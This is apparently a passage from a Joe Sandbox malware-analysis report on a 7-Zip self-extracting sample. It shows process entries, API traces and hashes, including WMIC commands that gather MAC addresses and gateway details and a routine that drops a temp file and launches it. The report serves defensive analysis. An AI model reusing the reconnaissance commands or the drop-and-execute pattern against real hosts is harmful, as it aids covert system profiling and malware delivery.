MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:09:53
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:09:55
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:09:55
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:10:08
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	11:10:08
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	50

Executed Functions

Function 00BCB658 Relevance: 46.0, APIs: 16, Strings: 10, Instructions: 482
windowsynchronizationprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00BCB662
GetVersionExA.KERNEL32 ref: 00BCB680
CreateThread.KERNELBASE(00000000,00000000,00BC6C19,00000000,00000000,00000000), ref: 00BCB6B2
GetCommandLineW.KERNEL32 ref: 00BCB6EA
MessageBoxW.USER32(00000000,Cannot create temp folder archive,7-Zip,00000010), ref: 00BCB8A9

Part of subcall function 00BB2C84: __EH_prolog3_GS.LIBCMT ref: 00BB2C8B
Part of subcall function 00BB2C84: GetCurrentThreadId.KERNEL32 ref: 00BB2C99
Part of subcall function 00BB2C84: GetTickCount.KERNEL32 ref: 00BB2CA4
Part of subcall function 00BB2C84: GetCurrentProcessId.KERNEL32 ref: 00BB2CB1
Part of subcall function 00BB2C84: GetTickCount.KERNEL32 ref: 00BB2D02
Part of subcall function 00BB2C84: SetLastError.KERNEL32(000000B7,00000000,00000000), ref: 00BB2D4E

MessageBoxW.USER32(00000000,Cannot load codecs,7-Zip,00000010), ref: 00BCB901
MessageBoxW.USER32(00000000,?,Extraction Failed,00000010), ref: 00BCB9F3
ShellExecuteExA.SHELL32(-00000172,00000000), ref: 00BCBAF8
MessageBoxW.USER32(00000000,Cannot open file,7-Zip,00000010), ref: 00BCBB1E
MessageBoxW.USER32(00000000,Cannot find run.exe,7-Zip,00000010), ref: 00BCBB82
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,-000001CE,-00000182,00000000,?,?,?), ref: 00BCBCEC
CloseHandle.KERNEL32(?), ref: 00BCBD31
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BCBD62
CloseHandle.KERNEL32(?), ref: 00BCBD65
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BCBD74
CloseHandle.KERNEL32(?), ref: 00BCBD77

Strings

Cannot open file, xrefs: 00BCBB17
%%T\, xrefs: 00BCBBAA
Extraction Failed, xrefs: 00BCB9EB
Cannot load codecs, xrefs: 00BCB8FA
%%T, xrefs: 00BCBBFD
File is corrupt, xrefs: 00BCB99A
7-Zip, xrefs: 00BCB89D, 00BCB8F5, 00BCBB12, 00BCBB76
run.exe, xrefs: 00BCBB49
Cannot create temp folder archive, xrefs: 00BCB8A2
Cannot find run.exe, xrefs: 00BCBB7B

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: Message$CloseHandle$CountCreateCurrentH_prolog3_ObjectProcessSingleThreadTickWait$CommandErrorExecuteLastLineShellVersion
String ID: %%T$%%T\$7-Zip$Cannot create temp folder archive$Cannot find run.exe$Cannot load codecs$Cannot open file$Extraction Failed$File is corrupt$run.exe
API String ID: 3057246094-981852518
Opcode ID: 2bd4ddd575073586cdac34ad28870cff24f4a14554afbb24362db7c6b6243309
Instruction ID: beecaa5c4885897f12dbb59527989e08e4e23e323d1f8a40dacedcc3cc62c0b7
Opcode Fuzzy Hash: 2bd4ddd575073586cdac34ad28870cff24f4a14554afbb24362db7c6b6243309
Instruction Fuzzy Hash: BA123871900269DBEB25AB60DC62FEDB7F5AF15300F5085EEE10A761A1DBB01E84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00BB805B Relevance: 4.6, APIs: 3, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00BB8074
GetProcessAffinityMask.KERNEL32(00000000), ref: 00BB807B
GetSystemInfo.KERNEL32(?), ref: 00BB80A9

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: Process$AffinityCurrentInfoMaskSystem
String ID:
API String ID: 3251479945-0
Opcode ID: 5c135a51437a9deed507c88f27bdf60154c9b66323efaecc755e70547962ff37
Instruction ID: 3ed629ed5cb09c3fe657875f962813d0041da5c9bd7a6a1f21b07a59a0697138
Opcode Fuzzy Hash: 5c135a51437a9deed507c88f27bdf60154c9b66323efaecc755e70547962ff37
Instruction Fuzzy Hash: A53184B16057459FC724DF6AD885567FBE9FB88300B504A2EE49AC3700EB70E908CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00BD0F91 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00BD0F90,?,?,?,?), ref: 00BD0FB3
TerminateProcess.KERNEL32(00000000,?,00BD0F90,?,?,?,?), ref: 00BD0FBA
ExitProcess.KERNEL32 ref: 00BD0FCC

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0aa1c7d4f66ac740009b8889dbf41c13e782d3276a490692bf0d5b0d45ac1680
Instruction ID: 9e7480f295b8d42ef0492cf17b338380f1c8bd774f95a61ac4dcde9900ea86eb
Opcode Fuzzy Hash: 0aa1c7d4f66ac740009b8889dbf41c13e782d3276a490692bf0d5b0d45ac1680
Instruction Fuzzy Hash: A4E04635022148EFCF213B14CC69E59BBB8FB40341F11445AF80496631EF36EC82CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2EFC Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB2EDD: FindClose.KERNEL32(0000002A,0000002A,00BB2F26,?,?,00000001), ref: 00BB2EE7

FindFirstFileW.KERNELBASE(00000000,?,?,?,00000001), ref: 00BB2F6F

Part of subcall function 00BB1BB2: AreFileApisANSI.KERNEL32(?,00000010,00BB2F3E,?,?,00000001), ref: 00BB1BD0

FindFirstFileA.KERNEL32(00000000,?,?,?,00000001), ref: 00BB2F45

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FileFind$First$ApisClose
String ID:
API String ID: 1888877809-0
Opcode ID: b590c4c34fceb9e7fb107ff7a6033b81c523425884cac0f3e094cd2bca5e4f8c
Instruction ID: b3c260bc828ffcb932e07676c4dc7c39dcfe4b766e5cce4d6ac48d2e3a4b8a45
Opcode Fuzzy Hash: b590c4c34fceb9e7fb107ff7a6033b81c523425884cac0f3e094cd2bca5e4f8c
Instruction Fuzzy Hash: 4A118F32108201DBC720AF64D8959FAF7E4EF55360F104AAEE8928B1A1DF709846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB52F0 Relevance: 1.8, Strings: 1, Instructions: 522COMMON

Download Yara Rule

Strings

Split, xrefs: 00BB5488

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID: Split
API String ID: 0-1882502421
Opcode ID: fbd4e3ff1b9c6e15e1a6feab3f81a2ee1bb50334182bd1998901695344b7b0a6
Instruction ID: 95e2114fd78d8729b4a02951b47c529ad565cfa41c7854fda932f4bf4d297b4a
Opcode Fuzzy Hash: fbd4e3ff1b9c6e15e1a6feab3f81a2ee1bb50334182bd1998901695344b7b0a6
Instruction Fuzzy Hash: 57221870E016099FDF24DFA8C894BEDBBF5EF58304F2480A9E905AB252D7B1AD41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00BD269F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40dd89ec2a540ef258a71555c7db5a68b3793816bf96df627c5aea1af41fd682
Instruction ID: fa9c6eb12b642ed872f29d5874bcfec2427fdf95bfe71f035a46cedd329ab5fb
Opcode Fuzzy Hash: 40dd89ec2a540ef258a71555c7db5a68b3793816bf96df627c5aea1af41fd682
Instruction Fuzzy Hash: 79F0A032610368EBCB22C748C405E48B3E8EB05B60F110097E805EB351E6B4DE40C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 00BC6C19 Relevance: 78.9, APIs: 8, Strings: 36, Instructions: 1892
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00BC6C78
GetTempFileNameW.KERNELBASE(?,?,00000000,?), ref: 00BC6C99
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 00BC6CB6
WriteFile.KERNELBASE(00000000,7A0D4CE0,00001A00,00000000,00000000), ref: 00BCB45E
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00BCB46B
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00BCB625
CloseHandle.KERNEL32(?), ref: 00BCB62F
CloseHandle.KERNEL32(?), ref: 00BCB635

Strings

h#P, xrefs: 00BCAFD8
6>m, xrefs: 00BC79DB
o(W;, xrefs: 00BC891C
Ey#), xrefs: 00BC808F
+2*, xrefs: 00BC9708
4, xrefs: 00BC7FF5
w, xrefs: 00BC91CA
A=V, xrefs: 00BCAC89
>_,, xrefs: 00BC84D0
7Bb1, xrefs: 00BC8D10
_, xrefs: 00BCA202
k%, xrefs: 00BC9D25
C, xrefs: 00BCA7B9
w, xrefs: 00BC7E95
GU", xrefs: 00BC7601
WGE, xrefs: 00BC8528
]cU, xrefs: 00BC87DD
CQ&, xrefs: 00BCB261
zU", xrefs: 00BC9C6A
l, xrefs: 00BC8C60
N8+, xrefs: 00BC8E11
kq.g, xrefs: 00BC7C0C
Lz, xrefs: 00BC6CFB
bj~9, xrefs: 00BC8294
zX+, xrefs: 00BC9C00
BQ&, xrefs: 00BC9F39
G, xrefs: 00BC78DE
|oez, xrefs: 00BCAFB7
orA, xrefs: 00BC8CAD
BMh, xrefs: 00BC8A0E
[vQ, xrefs: 00BC83F4
MXJ, xrefs: 00BCACAA
KY., xrefs: 00BC7349
_0, xrefs: 00BC7B04
#(*f, xrefs: 00BCB14E
=@, xrefs: 00BCADB2

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CloseFile$CreateHandleTemp$ChangeFindNameNotificationPathProcessWrite
String ID: >_,$4$#(*f$+2*$6>m$7Bb1$A=V$BMh$BQ&$C$CQ&$Ey#)$G$GU"$KY.$MXJ$N8+$WGE$]cU$_$_0$bj~9$h#P$kq.g$l$o(W;$orA$w$w$zX+$zU"$|oez$=@$Lz$[vQ$k%
API String ID: 2508044720-2254058905
Opcode ID: 440d5ceafb787452e9dc8199cd98cbc4308fdee033a45595c6ccfa86efb9378e
Instruction ID: 31b3f6b36ecfa0e63bf71667a30f3c0541c57ebd9b47c8295a1f7c0f02e03bf5
Opcode Fuzzy Hash: 440d5ceafb787452e9dc8199cd98cbc4308fdee033a45595c6ccfa86efb9378e
Instruction Fuzzy Hash: 7963A4B841E7C18AE3309F469A956DFBAE1FB92344F608A0DD1DD1B614DBB50182CF87

Uniqueness

Uniqueness Score: -1.00%

Function 00BC06B9 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx), ref: 00BC06E7
GetProcAddress.KERNEL32(00000000), ref: 00BC06EE
GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 00BC06FC
GlobalMemoryStatus.KERNEL32(?), ref: 00BC072A

Strings

GlobalMemoryStatusEx, xrefs: 00BC06D3
kernel32.dll, xrefs: 00BC06D8
@, xrefs: 00BC06CC
, xrefs: 00BC0722

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: GlobalMemoryStatus$AddressHandleModuleProc
String ID: $@$GlobalMemoryStatusEx$kernel32.dll
API String ID: 180289352-802862622
Opcode ID: 44948fa042ea8342c5ec0d0edb21ee78ffda2ea5bbf677432222ccb933826e3f
Instruction ID: bde11fe87af517d7f6ae9258bbc059a5b6d8d9da322198ea780aec2afcdbd298
Opcode Fuzzy Hash: 44948fa042ea8342c5ec0d0edb21ee78ffda2ea5bbf677432222ccb933826e3f
Instruction Fuzzy Hash: 5E110370920319DBDB18EFA4C8A9B9DB7F5EF04700F50849EE516A7280EB74AD00CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2C84 Relevance: 10.6, APIs: 7, Instructions: 95
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00BB2C8B
GetCurrentThreadId.KERNEL32 ref: 00BB2C99
GetTickCount.KERNEL32 ref: 00BB2CA4
GetCurrentProcessId.KERNEL32 ref: 00BB2CB1
GetTickCount.KERNEL32 ref: 00BB2D02
SetLastError.KERNEL32(000000B7,00000000,00000000), ref: 00BB2D4E

Part of subcall function 00BB2603: CreateDirectoryA.KERNEL32(00000000,00000000,00000000), ref: 00BB2621

GetLastError.KERNEL32(00000000,00000000), ref: 00BB2D67

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CountCurrentErrorLastTick$CreateDirectoryH_prolog3_ProcessThread
String ID:
API String ID: 3262192059-0
Opcode ID: e4cbede2d14efe2d8268fb457f968f72d2a8ae08ae9fbc2e24f387159e8e71df
Instruction ID: 7e8df96b60f4ff21656d64fe0d69b8cdc9992ed03355efb5797e2face8f46920
Opcode Fuzzy Hash: e4cbede2d14efe2d8268fb457f968f72d2a8ae08ae9fbc2e24f387159e8e71df
Instruction Fuzzy Hash: 9A31CF32E00214CBDF04EBA4C896BEDB7E1EF59310F1145AAE512B7292DBB04D058B65

Uniqueness

Uniqueness Score: -1.00%

Function 00BD2214 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ext-ms-, xrefs: 00BD227F
api-ms-, xrefs: 00BD226B

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 78628c3916726fb3f19b2367661e7fdf34217386b3126f8717f7fd073a018180
Instruction ID: 57b57b94bba7d7b55973f32a15dfe9bb3a4057809154f6a234f5bab007e31ed7
Opcode Fuzzy Hash: 78628c3916726fb3f19b2367661e7fdf34217386b3126f8717f7fd073a018180
Instruction Fuzzy Hash: 6521C331A01255EBDB218B649C85B1AF7E8DF21770B2505A3FC15A7390FB30EE00D6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00BB28B3 Relevance: 9.1, APIs: 6, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000010B,?,00000000,0000005C,00BCBDBF,?,-00000088,-0000009A,-000000CA,-000000CA), ref: 00BB28F9
GetLastError.KERNEL32(-0000001E,-00000046,0000002A,00000002,0000005C,?,?,00000000,0000005C,00BCBDBF,?,-00000088,-0000009A,-000000CA,-000000CA), ref: 00BB29D5
GetLastError.KERNEL32(-0000001E,-00000046,0000002A,00000002,0000005C,?,?,00000000,0000005C,00BCBDBF,?,-00000088,-0000009A,-000000CA,-000000CA), ref: 00BB29EB
SetLastError.KERNEL32(00000000,-00000046,-0000001E,-00000046,0000002A,00000002,0000005C,?,?,00000000,0000005C,00BCBDBF,?,-00000088,-0000009A,-000000CA), ref: 00BB2A0D
FindClose.KERNEL32(?,?,?,00000000,0000005C,00BCBDBF,?,-00000088,-0000009A,-000000CA,-000000CA), ref: 00BB2A2E
FindClose.KERNEL32(?,-00000046,0000002A,00000002,0000005C,?,?,00000000,0000005C,00BCBDBF,?,-00000088,-0000009A,-000000CA,-000000CA), ref: 00BB2A57

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLast$CloseFind
String ID:
API String ID: 2791709076-0
Opcode ID: 53854049f41b35538b2ae9346128edd420bdad1480f421fed3d042a80ed9e219
Instruction ID: 5734042e7c006f28b78fa797ad731f789f23c619741654ef5b3f174acb3ca5c6
Opcode Fuzzy Hash: 53854049f41b35538b2ae9346128edd420bdad1480f421fed3d042a80ed9e219
Instruction Fuzzy Hash: 11516732810218DBDF14EBA4DC62AEDB7F5BF15310F1046A9E5A2772A2DFB01A05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7D65 Relevance: 7.6, APIs: 5, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,71499961,?,?,?,?,?,?,?,?,?,?,00BD9DE9,000000FF), ref: 00BB7DA4
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00BD9DE9,000000FF), ref: 00BB7DAE

Part of subcall function 00BB7FB2: PostMessageA.USER32(?,00008001,00000000,00000000), ref: 00BB7FC7

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00BD9DE9,000000FF), ref: 00BB7DC4
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00BD9DE9,000000FF), ref: 00BB7DE0
__aulldiv.LIBCMT ref: 00BB7E2C

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CriticalSection$EnterLeave$MessagePost__aulldiv
String ID:
API String ID: 3743465594-0
Opcode ID: c69a469703f53253523381193e9649b1fa1a2d1357259ac7be9c03f518b394eb
Instruction ID: 963d33b38ed0553561929d6abde8b7f23d37a4238398f68ed71d09b9491c6505
Opcode Fuzzy Hash: c69a469703f53253523381193e9649b1fa1a2d1357259ac7be9c03f518b394eb
Instruction Fuzzy Hash: 51415A72600208EFCB14EBA4C996EFEBBF5FF88710F00455DE546A7650EB70A904CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00BB3138 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 353
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB3138: FindClose.KERNEL32(?), ref: 00BB334D
Part of subcall function 00BB3138: FindClose.KERNELBASE(?,?,?,00000054,00BB2D36,00000000,00000000), ref: 00BB3545

SetLastError.KERNEL32(00000002,-0000003E,00000031,-0000000A,:$DATA,?,?,00000054,00BB2D36,00000000,00000000), ref: 00BB3329

Part of subcall function 00BB3583: __EH_prolog3_GS.LIBCMT ref: 00BB358A
Part of subcall function 00BB3583: CloseHandle.KERNEL32(?,?,00000000,00000001,00000003,02000000,00000040,00BB353A,?,?,?,00000054,00BB2D36,00000000,00000000), ref: 00BB35C0

Strings

:$DATA, xrefs: 00BB3204, 00BB3215

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: Close$Find$ErrorH_prolog3_HandleLast
String ID: :$DATA
API String ID: 2190039044-2587938151
Opcode ID: 62dc77e35dcf5fb501822ddf7ebceb57edc85977256bac4e3297f2707c2b6062
Instruction ID: b5e4f72a0e2b91d0eca2bae093f68354d2620b0dcaf3cd6a452980c8db295914
Opcode Fuzzy Hash: 62dc77e35dcf5fb501822ddf7ebceb57edc85977256bac4e3297f2707c2b6062
Instruction Fuzzy Hash: F1D1D470900205DBCF25EBA8C862AFEB7F1EF14B10F50869DE456A72D1EFB09A45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00BC5DA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DialogBoxParamW.USER32(00000061,00000000,00BB79D2,?,?), ref: 00BC5DD5
